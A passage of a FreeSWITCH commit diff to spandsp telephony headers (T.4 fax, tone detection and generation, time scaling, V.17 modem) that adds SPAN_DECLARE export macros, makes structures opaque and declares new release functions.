     \return 0 for success, otherwise -1. */
-int t4_tx_delete(t4_state_t *s);
+SPAN_DECLARE(int) t4_tx_free(t4_state_t *s);
 
-/*! \brief End the transmission of a document. Tidy up and close the file.
-           This should be used to end T.4 transmission started with t4_tx_init.
-    \param s The T.4 context.
-    \return 0 for success, otherwise -1. */
-int t4_tx_end(t4_state_t *s);
-
 /*! \brief Set the encoding for the encoded data.
     \param s The T.4 context.
     \param encoding The encoding. */
-void t4_tx_set_tx_encoding(t4_state_t *s, int encoding);
+SPAN_DECLARE(void) t4_tx_set_tx_encoding(t4_state_t *s, int encoding);
 
 /*! \brief Set the minimum number of encoded bits per row. This allows the
            makes the encoding process to be set to comply with the minimum row
            time specified by a remote receiving machine.
     \param s The T.4 context.
     \param bits The minimum number of bits per row. */
-void t4_tx_set_min_row_bits(t4_state_t *s, int bits);
+SPAN_DECLARE(void) t4_tx_set_min_row_bits(t4_state_t *s, int bits);
 
 /*! \brief Set the identity of the local machine, for inclusion in page headers.
     \param s The T.4 context.
     \param ident The identity string. */
-void t4_tx_set_local_ident(t4_state_t *s, const char *ident);
+SPAN_DECLARE(void) t4_tx_set_local_ident(t4_state_t *s, const char *ident);
 
 /*! Set the info field, included in the header line included in each page of an encoded
     FAX. This is a string of up to 50 characters. Other information (date, local ident, etc.)
@@ -574,41 +419,51 @@
     \brief Set the header info.
     \param s The T.4 context.
     \param info A string, of up to 50 bytes, which will form the info field. */
-void t4_tx_set_header_info(t4_state_t *s, const char *info);
+SPAN_DECLARE(void) t4_tx_set_header_info(t4_state_t *s, const char *info);
 
-int t4_tx_set_row_read_handler(t4_state_t *s, t4_row_read_handler_t handler, void *user_data);
+/*! \brief Set the row read handler for a T.4 transmit context.
+    \param s The T.4 transmit context.
+    \param handler A pointer to the handler routine.
+    \param user_data An opaque pointer passed to the handler routine.
+    \return 0 for success, otherwise -1. */
+SPAN_DECLARE(int) t4_tx_set_row_read_handler(t4_state_t *s, t4_row_read_handler_t handler, void *user_data);
 
 /*! \brief Get the row-to-row (y) resolution of the current page.
     \param s The T.4 context.
     \return The resolution, in pixels per metre. */
-int t4_tx_get_y_resolution(t4_state_t *s);
+SPAN_DECLARE(int) t4_tx_get_y_resolution(t4_state_t *s);
 
 /*! \brief Get the column-to-column (x) resolution of the current page.
     \param s The T.4 context.
     \return The resolution, in pixels per metre. */
-int t4_tx_get_x_resolution(t4_state_t *s);
+SPAN_DECLARE(int) t4_tx_get_x_resolution(t4_state_t *s);
 
 /*! \brief Get the width of the current page, in pixel columns.
     \param s The T.4 context.
     \return The number of columns. */
-int t4_tx_get_image_width(t4_state_t *s);
+SPAN_DECLARE(int) t4_tx_get_image_width(t4_state_t *s);
 
 /*! \brief Get the number of pages in the file.
     \param s The T.4 context.
     \return The number of pages, or -1 if there is an error. */
-int t4_tx_get_pages_in_file(t4_state_t *s);
+SPAN_DECLARE(int) t4_tx_get_pages_in_file(t4_state_t *s);
 
+/*! \brief Get the currnet page number in the file.
+    \param s The T.4 context.
+    \return The page number, or -1 if there is an error. */
+SPAN_DECLARE(int) t4_tx_get_current_page_in_file(t4_state_t *s);
+
 /*! Get the current image transfer statistics. 
     \brief Get the current transfer statistics.
     \param s The T.4 context.
     \param t A pointer to a statistics structure. */
-void t4_get_transfer_statistics(t4_state_t *s, t4_stats_t *t);
+SPAN_DECLARE(void) t4_get_transfer_statistics(t4_state_t *s, t4_stats_t *t);
 
 /*! Get the short text name of an encoding format. 
     \brief Get the short text name of an encoding format.
     \param encoding The encoding type.
     \return A pointer to the string. */
-const char *t4_encoding_to_str(int encoding);
+SPAN_DECLARE(const char *) t4_encoding_to_str(int encoding);
 
 #if defined(__cplusplus)
 }

Modified: freeswitch/branches/seven/libs/spandsp/src/spandsp/telephony.h (14471 => 14472)


--- freeswitch/branches/seven/libs/spandsp/src/spandsp/telephony.h	2009-08-09 05:55:48 UTC (rev 14471)
+++ freeswitch/branches/seven/libs/spandsp/src/spandsp/telephony.h	2009-08-09 18:53:22 UTC (rev 14472)
@@ -22,20 +22,40 @@
  * License along with this program; if not, write to the Free Software
  * Foundation, Inc., 675 Mass Ave, Cambridge, MA 02139, USA.
  *
- * $Id: telephony.h,v 1.12 2008/04/17 14:27:01 steveu Exp $
+ * $Id: telephony.h,v 1.18 2009/03/23 14:17:42 steveu Exp $
  */
 
 #if !defined(_SPANDSP_TELEPHONY_H_)
 #define _SPANDSP_TELEPHONY_H_
 
-#define SAMPLE_RATE             8000
+#if defined(_M_IX86)  ||  defined(_M_X64)
+#if defined(LIBSPANDSP_EXPORTS)
+#define SPAN_DECLARE(type)              __declspec(dllexport) type __stdcall
+#define SPAN_DECLARE_NONSTD(type)       __declspec(dllexport) type __cdecl
+#define SPAN_DECLARE_DATA               __declspec(dllexport)
+#else
+#define SPAN_DECLARE(type)              __declspec(dllimport) type __stdcall
+#define SPAN_DECLARE_NONSTD(type)       __declspec(dllimport) type __cdecl
+#define SPAN_DECLARE_DATA               __declspec(dllimport)
+#endif
+#elif defined(SPANDSP_USE_EXPORT_CAPABILITY)  &&  (defined(__GNUC__)  ||  defined(__SUNCC__))
+#define SPAN_DECLARE(type)              __attribute__((visibility("default"))) type
+#define SPAN_DECLARE_NONSTD(type)       __attribute__((visibility("default"))) type
+#define SPAN_DECLARE_DATA               __attribute__((visibility("default")))
+#else
+#define SPAN_DECLARE(type)              /**/ type
+#define SPAN_DECLARE_NONSTD(type)       /**/ type
+#define SPAN_DECLARE_DATA               /**/
+#endif
 
+#define SAMPLE_RATE                 8000
+
 /* This is based on A-law, but u-law is only 0.03dB different */
-#define DBM0_MAX_POWER          (3.14f + 3.02f)
-#define DBM0_MAX_SINE_POWER     (3.14f)
+#define DBM0_MAX_POWER              (3.14f + 3.02f)
+#define DBM0_MAX_SINE_POWER         (3.14f)
 /* This is based on the ITU definition of dbOv in G.100.1 */
-#define DBOV_MAX_POWER          (0.0f)
-#define DBOV_MAX_SINE_POWER     (-3.02f)
+#define DBOV_MAX_POWER              (0.0f)
+#define DBOV_MAX_SINE_POWER         (-3.02f)
 
 /*! \brief A handler for pure receive. The buffer cannot be altered. */
 typedef int (span_rx_handler_t)(void *s, const int16_t amp[], int len);
@@ -43,10 +63,14 @@
 /*! \brief A handler for receive, where the buffer can be altered. */
 typedef int (span_mod_handler_t)(void *s, int16_t amp[], int len);
 
+/*! \brief A handler for missing receive data fill-in. */
+typedef int (span_rx_fillin_handler_t)(void *s, int len);
+
 /*! \brief A handler for transmit, where the buffer will be filled. */
 typedef int (span_tx_handler_t)(void *s, int16_t amp[], int max_len);
 
-#define ms_to_samples(t)    (((t)*SAMPLE_RATE)/1000)
+#define ms_to_samples(t)            (((t)*SAMPLE_RATE)/1000)
+#define us_to_samples(t)            (((t)*SAMPLE_RATE)/1000000)
 
 #if !defined(FALSE)
 #define FALSE 0
@@ -57,7 +81,7 @@
 
 #if defined(__cplusplus)
 /* C++ doesn't seem to have sane rounding functions/macros yet */
-#ifndef _MSC_VER
+#if !defined(WIN32)
 #define lrint(x) ((long int) (x))
 #define lrintf(x) ((long int) (x))
 #endif

Modified: freeswitch/branches/seven/libs/spandsp/src/spandsp/time_scale.h (14471 => 14472)


--- freeswitch/branches/seven/libs/spandsp/src/spandsp/time_scale.h	2009-08-09 05:55:48 UTC (rev 14471)
+++ freeswitch/branches/seven/libs/spandsp/src/spandsp/time_scale.h	2009-08-09 18:53:22 UTC (rev 14472)
@@ -22,7 +22,7 @@
  * License along with this program; if not, write to the Free Software
  * Foundation, Inc., 675 Mass Ave, Cambridge, MA 02139, USA.
  *
- * $Id: time_scale.h,v 1.16 2008/07/28 15:14:30 steveu Exp $
+ * $Id: time_scale.h,v 1.20 2009/02/10 13:06:47 steveu Exp $
  */
 
 #if !defined(_SPANDSP_TIME_SCALE_H_)
@@ -56,25 +56,8 @@
     input_len*playout_rate + sample_rate/TIME_SCALE_MIN_PITCH + 1
 */
 
-#define TIME_SCALE_MAX_SAMPLE_RATE  48000
-#define TIME_SCALE_MIN_PITCH        60
-#define TIME_SCALE_MAX_PITCH        250
-#define TIME_SCALE_BUF_LEN          (2*TIME_SCALE_MAX_SAMPLE_RATE/TIME_SCALE_MIN_PITCH)
-
 /*! Audio time scaling descriptor. */
-typedef struct
-{
-    int sample_rate;
-    int min_pitch;
-    int max_pitch;
-    int buf_len;
-    float playout_rate;
-    double rcomp;
-    double rate_nudge;
-    int fill;
-    int lcp;
-    int16_t buf[TIME_SCALE_BUF_LEN];
-} time_scale_state_t;
+typedef struct time_scale_state_s time_scale_state_t;
 
 #if defined(__cplusplus)
 extern "C"
@@ -88,19 +71,24 @@
     \param sample_rate The sample rate of the signal.
     \param playout_rate The ratio between the output speed and the input speed.
     \return A pointer to the context, or NULL if there was a problem. */
-time_scale_state_t *time_scale_init(time_scale_state_t *s, int sample_rate, float playout_rate);
+SPAN_DECLARE(time_scale_state_t *) time_scale_init(time_scale_state_t *s, int sample_rate, float playout_rate);
 
+/*! \brief Release a time scale context.
+    \param s The time scale context.
+    \return 0 for OK, else -1. */
+SPAN_DECLARE(int) time_scale_release(time_scale_state_t *s);
+
 /*! \brief Free a time scale context.
     \param s The time scale context.
     \return 0 for OK, else -1. */
-int time_scale_free(time_scale_state_t *s);
+SPAN_DECLARE(int) time_scale_free(time_scale_state_t *s);
 
 /*! Change the time scale rate.
     \brief Change the time scale rate.
     \param s The time scale context.
     \param playout_rate The ratio between the output speed and the input speed.
     \return 0 if changed OK, else -1. */
-int time_scale_rate(time_scale_state_t *s, float playout_rate);
+SPAN_DECLARE(int) time_scale_rate(time_scale_state_t *s, float playout_rate);
 
 /*! Find the maximum possible samples which could result from scaling the specified
     number of input samples, at the current playback rate.
@@ -108,7 +96,7 @@
     \param s The time scale context.
     \param input_len The number of input samples.
     \return The maximum possible output samples. */
-int time_scale_max_output_len(time_scale_state_t *s, int input_len);
+SPAN_DECLARE(int) time_scale_max_output_len(time_scale_state_t *s, int input_len);
 
 /*! Time scale a chunk of audio samples.
     \brief Time scale a chunk of audio samples.
@@ -120,7 +108,7 @@
     \param len The number of input samples.
     \return The number of output samples.
 */
-int time_scale(time_scale_state_t *s, int16_t out[], int16_t in[], int len);
+SPAN_DECLARE(int) time_scale(time_scale_state_t *s, int16_t out[], int16_t in[], int len);
 
 #if defined(__cplusplus)
 }

Modified: freeswitch/branches/seven/libs/spandsp/src/spandsp/tone_detect.h (14471 => 14472)


--- freeswitch/branches/seven/libs/spandsp/src/spandsp/tone_detect.h	2009-08-09 05:55:48 UTC (rev 14471)
+++ freeswitch/branches/seven/libs/spandsp/src/spandsp/tone_detect.h	2009-08-09 18:53:22 UTC (rev 14472)
@@ -22,7 +22,7 @@
  * License along with this program; if not, write to the Free Software
  * Foundation, Inc., 675 Mass Ave, Cambridge, MA 02139, USA.
  *
- * $Id: tone_detect.h,v 1.41 2008/06/13 14:46:52 steveu Exp $
+ * $Id: tone_detect.h,v 1.45 2009/02/10 13:06:47 steveu Exp $
  */
 
 #if !defined(_SPANDSP_TONE_DETECT_H_)
@@ -31,7 +31,7 @@
 /*!
     Goertzel filter descriptor.
 */
-typedef struct
+struct goertzel_descriptor_s
 {
 #if defined(SPANDSP_USE_FIXED_POINT)
     int16_t fac;
@@ -39,12 +39,12 @@
     float fac;
 #endif
     int samples;
-} goertzel_descriptor_t;
+};
 
 /*!
     Goertzel filter state descriptor.
 */
-typedef struct
+struct goertzel_state_s
 {
 #if defined(SPANDSP_USE_FIXED_POINT)
     int16_t v2;
@@ -57,37 +57,51 @@
 #endif
     int samples;
     int current_sample;
-} goertzel_state_t;
+};
 
+/*!
+    Goertzel filter descriptor.
+*/
+typedef struct goertzel_descriptor_s goertzel_descriptor_t;
+
+/*!
+    Goertzel filter state descriptor.
+*/
+typedef struct goertzel_state_s goertzel_state_t;
+
 #if defined(__cplusplus)
 extern "C"
 {
 #endif
 
 /*! \brief Create a descriptor for use with either a Goertzel transform */
-void make_goertzel_descriptor(goertzel_descriptor_t *t,
-                              float freq,
-                              int samples);
+SPAN_DECLARE(void) make_goertzel_descriptor(goertzel_descriptor_t *t,
+                                            float freq,
+                                            int samples);
 
 /*! \brief Initialise the state of a Goertzel transform.
     \param s The Goertzel context. If NULL, a context is allocated with malloc.
     \param t The Goertzel descriptor.
     \return A pointer to the Goertzel state. */
-goertzel_state_t *goertzel_init(goertzel_state_t *s,
-                                goertzel_descriptor_t *t);
+SPAN_DECLARE(goertzel_state_t *) goertzel_init(goertzel_state_t *s,
+                                               goertzel_descriptor_t *t);
 
+SPAN_DECLARE(int) goertzel_release(goertzel_state_t *s);
+
+SPAN_DECLARE(int) goertzel_free(goertzel_state_t *s);
+
 /*! \brief Reset the state of a Goertzel transform.
     \param s The Goertzel context. */
-void goertzel_reset(goertzel_state_t *s);
+SPAN_DECLARE(void) goertzel_reset(goertzel_state_t *s);
 
 /*! \brief Update the state of a Goertzel transform.
     \param s The Goertzel context.
     \param amp The samples to be transformed.
     \param samples The number of samples.
     \return The number of samples unprocessed */
-int goertzel_update(goertzel_state_t *s,
-                    const int16_t amp[],
-                    int samples);
+SPAN_DECLARE(int) goertzel_update(goertzel_state_t *s,
+                                  const int16_t amp[],
+                                  int samples);
 
 /*! \brief Evaluate the final result of a Goertzel transform.
     \param s The Goertzel context.
@@ -96,9 +110,9 @@
     [Floating point] ((samples_per_goertzel_block*32768.0/1.4142)*10^((x - DBM0_MAX_SINE_POWER)/20.0))^2
     [Fixed point] ((samples_per_goertzel_block*256.0/1.4142)*10^((x - DBM0_MAX_SINE_POWER)/20.0))^2 */
 #if defined(SPANDSP_USE_FIXED_POINT)
-int32_t goertzel_result(goertzel_state_t *s);
+SPAN_DECLARE(int32_t) goertzel_result(goertzel_state_t *s);
 #else
-float goertzel_result(goertzel_state_t *s);
+SPAN_DECLARE(float) goertzel_result(goertzel_state_t *s);
 #endif
 
 /*! \brief Update the state of a Goertzel transform.
@@ -177,7 +191,7 @@
     \param window_len The length of the periodogram window. This must be an even number.
     \return The number of generated coefficients.
 */
-int periodogram_generate_coeffs(complexf_t coeffs[], float freq, int sample_rate, int window_len);
+SPAN_DECLARE(int) periodogram_generate_coeffs(complexf_t coeffs[], float freq, int sample_rate, int window_len);
 
 /*! Generate the phase offset to be expected between successive periodograms evaluated at the 
     specified interval.
@@ -187,7 +201,7 @@
     \param interval The interval between periodograms, in samples.
     \return The scaling factor.
 */
-float periodogram_generate_phase_offset(complexf_t *offset, float freq, int sample_rate, int interval);
+SPAN_DECLARE(float) periodogram_generate_phase_offset(complexf_t *offset, float freq, int sample_rate, int interval);
 
 /*! Evaluate a periodogram.
     \param coeffs A set of coefficients generated by periodogram_generate_coeffs().
@@ -195,7 +209,7 @@
     \param len The length of the periodogram, in samples. This must be an even number.
     \return The periodogram result.
 */
-complexf_t periodogram(const complexf_t coeffs[], const complexf_t amp[], int len);
+SPAN_DECLARE(complexf_t) periodogram(const complexf_t coeffs[], const complexf_t amp[], int len);
 
 /*! Prepare data for evaluating a set of periodograms.
     \param sum A vector of sums of pairs of signal samples. This will be half the length of len.
@@ -204,7 +218,7 @@
     \param len The length of the periodogram, in samples. This must be an even number.
     \return The length of the vectors sum and diff.
 */
-int periodogram_prepare(complexf_t sum[], complexf_t diff[], const complexf_t amp[], int len);
+SPAN_DECLARE(int) periodogram_prepare(complexf_t sum[], complexf_t diff[], const complexf_t amp[], int len);
 
 /*! Evaluate a periodogram, based on data prepared by periodogram_prepare(). This is more efficient
     than using periodogram() when several periodograms are to be applied to the same signal.
@@ -214,7 +228,7 @@
     \param len The length of the periodogram, in samples. This must be an even number.
     \return The periodogram result.
 */
-complexf_t periodogram_apply(const complexf_t coeffs[], const complexf_t sum[], const complexf_t diff[], int len);
+SPAN_DECLARE(complexf_t) periodogram_apply(const complexf_t coeffs[], const complexf_t sum[], const complexf_t diff[], int len);
 
 /*! Apply a phase offset, to find the frequency error between periodogram evaluations.
     specified interval.
@@ -224,7 +238,7 @@
     \param result A pointer to the current periodogram result.
     \return The frequency error, in Hz.
 */
-float periodogram_freq_error(const complexf_t *phase_offset, float scale, const complexf_t *last_result, const complexf_t *result);
+SPAN_DECLARE(float) periodogram_freq_error(const complexf_t *phase_offset, float scale, const complexf_t *last_result, const complexf_t *result);
 
 #if defined(__cplusplus)
 }

Modified: freeswitch/branches/seven/libs/spandsp/src/spandsp/tone_generate.h (14471 => 14472)


--- freeswitch/branches/seven/libs/spandsp/src/spandsp/tone_generate.h	2009-08-09 05:55:48 UTC (rev 14471)
+++ freeswitch/branches/seven/libs/spandsp/src/spandsp/tone_generate.h	2009-08-09 18:53:22 UTC (rev 14472)
@@ -22,7 +22,7 @@
  * License along with this program; if not, write to the Free Software
  * Foundation, Inc., 675 Mass Ave, Cambridge, MA 02139, USA.
  *
- * $Id: tone_generate.h,v 1.34 2008/09/11 15:13:42 steveu Exp $
+ * $Id: tone_generate.h,v 1.39 2009/06/02 16:03:56 steveu Exp $
  */
 
 /*! \file */
@@ -45,42 +45,19 @@
 conditions in which we will use it. 
 */
 
-typedef struct
-{
-    int32_t phase_rate;
-#if defined(SPANDSP_USE_FIXED_POINT)
-    int16_t gain;
-#else
-    float gain;
-#endif
-} tone_gen_tone_descriptor_t;
+typedef struct tone_gen_tone_descriptor_s tone_gen_tone_descriptor_t;
 
 /*!
-    Cadenced dual tone generator descriptor.
+    Cadenced multi-tone generator descriptor.
 */
-typedef struct
-{
-    tone_gen_tone_descriptor_t tone[4];
-    int duration[4];
-    int repeat;
-} tone_gen_descriptor_t;
+typedef struct tone_gen_descriptor_s tone_gen_descriptor_t;
 
 /*!
-    Cadenced dual tone generator state descriptor. This defines the state of
+    Cadenced multi-tone generator state descriptor. This defines the state of
     a single working instance of a generator.
 */
-typedef struct
-{
-    tone_gen_tone_descriptor_t tone[4];
+typedef struct tone_gen_state_s tone_gen_state_t;
 
-    uint32_t phase[4];
-    int duration[4];
-    int repeat;
-
-    int current_section;
-    int current_position;
-} tone_gen_state_t;
-
 #if defined(__cplusplus)
 extern "C"
 {
@@ -100,21 +77,25 @@
     \param d3 x
     \param d4 x
     \param repeat x */
-void make_tone_gen_descriptor(tone_gen_descriptor_t *s,
-                              int f1,
-                              int l1,
-                              int f2,
-                              int l2,
-                              int d1,
-                              int d2,
-                              int d3,
-                              int d4,
-                              int repeat);
+SPAN_DECLARE(void) make_tone_gen_descriptor(tone_gen_descriptor_t *s,
+                                            int f1,
+                                            int l1,
+                                            int f2,
+                                            int l2,
+                                            int d1,
+                                            int d2,
+                                            int d3,
+                                            int d4,
+                                            int repeat);
 
-tone_gen_state_t *tone_gen_init(tone_gen_state_t *s, tone_gen_descriptor_t *t);
+SPAN_DECLARE_NONSTD(int) tone_gen(tone_gen_state_t *s, int16_t amp[], int max_samples);
 
-int tone_gen(tone_gen_state_t *s, int16_t amp[], int max_samples);
+SPAN_DECLARE(tone_gen_state_t *) tone_gen_init(tone_gen_state_t *s, tone_gen_descriptor_t *t);
 
+SPAN_DECLARE(int) tone_gen_release(tone_gen_state_t *s);
+
+SPAN_DECLARE(int) tone_gen_free(tone_gen_state_t *s);
+
 #if defined(__cplusplus)
 }
 #endif

Modified: freeswitch/branches/seven/libs/spandsp/src/spandsp/v17rx.h (14471 => 14472)


--- freeswitch/branches/seven/libs/spandsp/src/spandsp/v17rx.h	2009-08-09 05:55:48 UTC (rev 14471)
+++ freeswitch/branches/seven/libs/spandsp/src/spandsp/v17rx.h	2009-08-09 18:53:22 UTC (rev 14472)
@@ -22,13 +22,13 @@
  * License along with this program; if not, write to the Free Software
  * Foundation, Inc., 675 Mass Ave, Cambridge, MA 02139, USA.
  *
- * $Id: v17rx.h,v 1.57 2008/09/18 14:59:30 steveu Exp $
+ * $Id: v17rx.h,v 1.65 2009/07/09 13:52:09 steveu Exp $
  */
 
 /*! \file */
 
-#if !defined(_V17RX_H_)
-#define _V17RX_H_
+#if !defined(_SPANDSP_V17RX_H_)
+#define _SPANDSP_V17RX_H_
 
 /*! \page v17rx_page The V.17 receiver
 \section v17rx_page_sec_1 What does it do?
@@ -211,198 +211,12 @@
 TCM absolutely transformed the phone line modem business.
 */
 
-/* Target length for the equalizer is about 63 taps, to deal with the worst stuff
-   in V.56bis. */
-#define V17_EQUALIZER_PRE_LEN       8  /* This much before the real event */
-#define V17_EQUALIZER_POST_LEN      8  /* This much after the real event (must be even) */
-
-#define V17_RX_FILTER_STEPS         27
-
-/* We can store more trellis depth that we look back over, so that we can push out a group
-   of symbols in one go, giving greater processing efficiency, at the expense of a bit more
-   latency through the modem. */
-/* Right now we don't take advantage of this optimisation. */
-#define V17_TRELLIS_STORAGE_DEPTH   16
-#define V17_TRELLIS_LOOKBACK_DEPTH  16
-
 /*!
     V.17 modem receive side descriptor. This defines the working state for a
     single instance of a V.17 modem receiver.
 */
-typedef struct
-{
-    /*! \brief The bit rate of the modem. Valid values are 7200 9600, 12000 and 14400. */
-    int bit_rate;
-    /*! \brief The callback function used to put each bit received. */
-    put_bit_func_t put_bit;
-    /*! \brief A user specified opaque pointer passed to the put_but routine. */
-    void *put_bit_user_data;
+typedef struct v17_rx_state_s v17_rx_state_t;
 
-    /*! \brief The callback function used to report modem status changes. */
-    modem_rx_status_func_t status_handler;
-    /*! \brief A user specified opaque pointer passed to the status function. */
-    void *status_user_data;
-
-    /*! \brief A callback function which may be enabled to report every symbol's
-               constellation position. */
-    qam_report_handler_t qam_report;
-    /*! \brief A user specified opaque pointer passed to the qam_report callback
-               routine. */
-    void *qam_user_data;
-
-    /*! \brief The route raised cosine (RRC) pulse shaping filter buffer. */
-#if defined(SPANDSP_USE_FIXED_POINT)
-    int16_t rrc_filter[V17_RX_FILTER_STEPS];
-#else
-    float rrc_filter[V17_RX_FILTER_STEPS];
-#endif
-    /*! \brief Current offset into the RRC pulse shaping filter buffer. */
-    int rrc_filter_step;
-
-    /*! \brief The state of the differential decoder */
-    int diff;
-    /*! \brief The register for the data scrambler. */
-    unsigned int scramble_reg;
-    /*! \brief TRUE if the short training sequence is to be used. */
-    int short_train;
-    /*! \brief The section of the training data we are currently in. */
-    int training_stage;
-    /*! \brief A count of how far through the current training step we are. */
-    int training_count;
-    /*! \brief A measure of how much mismatch there is between the real constellation,
-        and the decoded symbol positions. */
-    float training_error;
-    /*! \brief The value of the last signal sample, using the a simple HPF for signal power estimation. */
-    int16_t last_sample;
-    /*! \brief >0 if a signal above the minimum is present. It may or may not be a V.17 signal. */
-    int signal_present;
-    /*! \brief Whether or not a carrier drop was detected and the signal delivery is pending. */
-    int carrier_drop_pending;
-    /*! \brief A count of the current consecutive samples below the carrier off threshold. */
-    int low_samples;
-    /*! \brief A highest magnitude sample seen. */
-    int16_t high_sample;
-
-    /*! \brief The current phase of the carrier (i.e. the DDS parameter). */
-    uint32_t carrier_phase;
-    /*! \brief The update rate for the phase of the carrier (i.e. the DDS increment). */
-    int32_t carrier_phase_rate;
-    /*! \brief The carrier update rate saved for reuse when using short training. */
-    int32_t carrier_phase_rate_save;
-#if defined(SPANDSP_USE_FIXED_POINTx)
-    /*! \brief The proportional part of the carrier tracking filter. */
-    float carrier_track_p;
-    /*! \brief The integral part of the carrier tracking filter. */
-    float carrier_track_i;
-#else
-    /*! \brief The proportional part of the carrier tracking filter. */
-    float carrier_track_p;
-    /*! \brief The integral part of the carrier tracking filter. */
-    float carrier_track_i;
-#endif
-
-    /*! \brief A power meter, to measure the HPF'ed signal power in the channel. */    
-    power_meter_t power;
-    /*! \brief The power meter level at which carrier on is declared. */
-    int32_t carrier_on_power;
-    /*! \brief The power meter level at which carrier off is declared. */
-    int32_t carrier_off_power;
-
-    /*! \brief Current read offset into the equalizer buffer. */
-    int eq_step;
-    /*! \brief Current write offset into the equalizer buffer. */
-    int eq_put_step;
-    /*! \brief Symbol counter to the next equalizer update. */
-    int eq_skip;
-
-    /*! \brief The current half of the baud. */
-    int baud_half;
-
-#if defined(SPANDSP_USE_FIXED_POINTx)
-    /*! \brief The scaling factor accessed by the AGC algorithm. */
-    float agc_scaling;
-    /*! \brief The previous value of agc_scaling, needed to reuse old training. */
-    float agc_scaling_save;
-
-    /*! \brief The current delta factor for updating the equalizer coefficients. */
-    float eq_delta;
-    /*! \brief The adaptive equalizer coefficients. */
-    complexi16_t eq_coeff[V17_EQUALIZER_PRE_LEN + 1 + V17_EQUALIZER_POST_LEN];
-    /*! \brief A saved set of adaptive equalizer coefficients for use after restarts. */
-    complexi16_t eq_coeff_save[V17_EQUALIZER_PRE_LEN + 1 + V17_EQUALIZER_POST_LEN];
-    /*! \brief The equalizer signal buffer. */
-    complexi16_t eq_buf[V17_EQUALIZER_PRE_LEN + 1 + V17_EQUALIZER_POST_LEN];
-
-    /*! Low band edge filter for symbol sync. */
-    int32_t symbol_sync_low[2];
-    /*! High band edge filter for symbol sync. */
-    int32_t symbol_sync_high[2];
-    /*! DC filter for symbol sync. */
-    int32_t symbol_sync_dc_filter[2];
-    /*! Baud phase for symbol sync. */
-    int32_t baud_phase;
-#else
-    /*! \brief The scaling factor accessed by the AGC algorithm. */
-    float agc_scaling;
-    /*! \brief The previous value of agc_scaling, needed to reuse old training. */
-    float agc_scaling_save;
-
-    /*! \brief The current delta factor for updating the equalizer coefficients. */
-    float eq_delta;
-    /*! \brief The adaptive equalizer coefficients. */
-    complexf_t eq_coeff[V17_EQUALIZER_PRE_LEN + 1 + V17_EQUALIZER_POST_LEN];
-    /*! \brief A saved set of adaptive equalizer coefficients for use after restarts. */
-    complexf_t eq_coeff_save[V17_EQUALIZER_PRE_LEN + 1 + V17_EQUALIZER_POST_LEN];
-    /*! \brief The equalizer signal buffer. */
-    complexf_t eq_buf[V17_EQUALIZER_PRE_LEN + 1 + V17_EQUALIZER_POST_LEN];
-
-    /*! Low band edge filter for symbol sync. */
-    float symbol_sync_low[2];
-    /*! High band edge filter for symbol sync. */
-    float symbol_sync_high[2];
-    /*! DC filter for symbol sync. */
-    float symbol_sync_dc_filter[2];
-    /*! Baud phase for symbol sync. */
-    float baud_phase;
-#endif
-
-    /*! \brief The total symbol timing correction since the carrier came up.
-               This is only for performance analysis purposes. */
-    int total_baud_timing_correction;
-
-    /*! \brief Starting phase angles for the coarse carrier aquisition step. */
-    int32_t start_angles[2];
-    /*! \brief History list of phase angles for the coarse carrier aquisition step. */
-    int32_t angles[16];
-    /*! \brief A pointer to the current constellation. */
-#if defined(SPANDSP_USE_FIXED_POINTx)
-    const complexi16_t *constellation;
-#else
-    const complexf_t *constellation;
-#endif
-    /*! \brief A pointer to the current space map. There is a space map for
-               each trellis state. */
-    int space_map;
-    /*! \brief The number of bits in each symbol at the current bit rate. */
-    int bits_per_symbol;
-
-    /*! \brief Current pointer to the trellis buffers */
-    int trellis_ptr;
-    /*! \brief The trellis. */
-    int full_path_to_past_state_locations[V17_TRELLIS_STORAGE_DEPTH][8];
-    /*! \brief The trellis. */
-    int past_state_locations[V17_TRELLIS_STORAGE_DEPTH][8];
-    /*! \brief Euclidean distances (actually the squares of the distances)
-               from the last states of the trellis. */
-#if defined(SPANDSP_USE_FIXED_POINTx)
-    uint32_t distances[8];
-#else
-    float distances[8];
-#endif
-    /*! \brief Error and flow logging control */
-    logging_state_t logging;
-} v17_rx_state_t;
-
 #if defined(__cplusplus)
 extern "C"
 {
@@ -415,7 +229,7 @@
     \param put_bit The callback routine used to put the received data.
     \param user_data An opaque pointer passed to the put_bit routine.
     \return A pointer to the modem context, or NULL if there was a problem. */
-v17_rx_state_t *v17_rx_init(v17_rx_state_t *s, int bit_rate, put_bit_func_t put_bit, void *user_data);
+SPAN_DECLARE(v17_rx_state_t *) v17_rx_init(v17_rx_state_t *s, int bit_rate, put_bit_func_t put_bit, void *user_data);
 
 /*! Reinitialise an existing V.17 modem receive context.
     \brief Reinitialise an existing V.17 modem receive context.
@@ -423,27 +237,39 @@
     \param bit_rate The bit rate of the modem. Valid values are 7200, 9600, 12000 and 14400.
     \param short_train TRUE if a short training sequence is expected.
     \return 0 for OK, -1 for bad parameter */
-int v17_rx_restart(v17_rx_state_t *s, int bit_rate, int short_train);
+SPAN_DECLARE(int) v17_rx_restart(v17_rx_state_t *s, int bit_rate, int short_train);
 
+/*! Release a V.17 modem receive context.
+    \brief Release a V.17 modem receive context.
+    \param s The modem context.
+    \return 0 for OK */
+SPAN_DECLARE(int) v17_rx_release(v17_rx_state_t *s);
+
 /*! Free a V.17 modem receive context.
     \brief Free a V.17 modem receive context.
     \param s The modem context.
     \return 0 for OK */
-int v17_rx_free(v17_rx_state_t *s);
+SPAN_DECLARE(int) v17_rx_free(v17_rx_state_t *s);
 
+/*! Get the logging context associated with a V.17 modem receive context.
+    \brief Get the logging context associated with a V.17 modem receive context.
+    \param s The modem context.
+    \return A pointer to the logging context */
+SPAN_DECLARE(logging_state_t *) v17_rx_get_logging_state(v17_rx_state_t *s);
+
 /*! Change the put_bit function associated with a V.17 modem receive context.
     \brief Change the put_bit function associated with a V.17 modem receive context.
     \param s The modem context.
     \param put_bit The callback routine used to handle received bits.
     \param user_data An opaque pointer. */
-void v17_rx_set_put_bit(v17_rx_state_t *s, put_bit_func_t put_bit, void *user_data);
+SPAN_DECLARE(void) v17_rx_set_put_bit(v17_rx_state_t *s, put_bit_func_t put_bit, void *user_data);
 
 /*! Change the modem status report function associated with a V.17 modem receive context.
     \brief Change the modem status report function associated with a V.17 modem receive context.
     \param s The modem context.
     \param handler The callback routine used to report modem status changes.
     \param user_data An opaque pointer. */
-void v17_rx_set_modem_status_handler(v17_rx_state_t *s, modem_rx_status_func_t handler, void *user_data);
+SPAN_DECLARE(void) v17_rx_set_modem_status_handler(v17_rx_state_t *s, modem_rx_status_func_t handler, void *user_data);
 
 /*! Process a block of received V.17 modem audio samples.
